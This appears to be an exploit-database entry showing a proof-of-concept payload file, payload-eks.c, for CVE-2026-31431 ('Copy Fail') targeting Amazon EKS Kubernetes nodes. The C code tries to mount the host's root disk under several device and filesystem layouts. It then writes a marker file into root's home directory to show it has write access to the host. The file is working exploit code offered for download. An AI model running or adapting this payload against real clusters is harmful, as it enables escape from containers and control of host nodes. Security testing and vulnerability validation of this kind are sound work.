Exploit databaseDownload source
GH-cbca5a932ea00a142e7b644e2adbbdf3
percivalll/copy-fail-cve-2026-31431-kubernetes-poc
Sources for CVE-2026-31431
14 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
percivalll/copy-fail-cve-2026-31431-kubernetes-pocRevision b699d3e99ea5
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
payload/payload-eks.c
C · 1,476 bytes/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */
/*
* Copy Fail (CVE-2026-31431) -- EKS validation payload.
*
* Adapted from Tony Gies' cross-platform C payload:
* https://github.com/tgies/copy-fail-c
*
* Dual-licensed under LGPL-2.1-or-later OR MIT.
*
* EKS nodes use NVMe storage (Nitro instances: /dev/nvme0n1p1) or
* legacy Xen block devices (/dev/xvda1). Amazon Linux 2/2023 default
* to XFS. This payload tries multiple device/fs combinations.
*
* Build: see Makefile (`make payload-eks`).
*/
#include "nolibc/nolibc.h"
static int try_mount(const char *dev, const char *fstype)
{
return mount(dev, "/mnt", fstype, 0, NULL);
}
int main(void)
{
const char msg[] = "[*] success";
int fd;
mkdir("/mnt", 0755);
/* Nitro instances (m5, c5, r5, m6i, c6i, …) expose NVMe root. */
if (try_mount("/dev/nvme0n1p1", "xfs") &&
try_mount("/dev/nvme0n1p1", "ext4") &&
/* Xen-based instances (t2, m4, c4, …) */
try_mount("/dev/xvda1", "xfs") &&
try_mount("/dev/xvda1", "ext4") &&
/* Graviton / AL2023 alternate partition layout */
try_mount("/dev/nvme0n1p2", "xfs") &&
try_mount("/dev/nvme0n1p2", "ext4"))
return 1;
fd = open("/mnt/root/res", O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0)
return 1;
if (write(fd, msg, sizeof(msg) - 1) != (ssize_t)(sizeof(msg) - 1)) {
close(fd);
return 1;
}
close(fd);
return 0;
}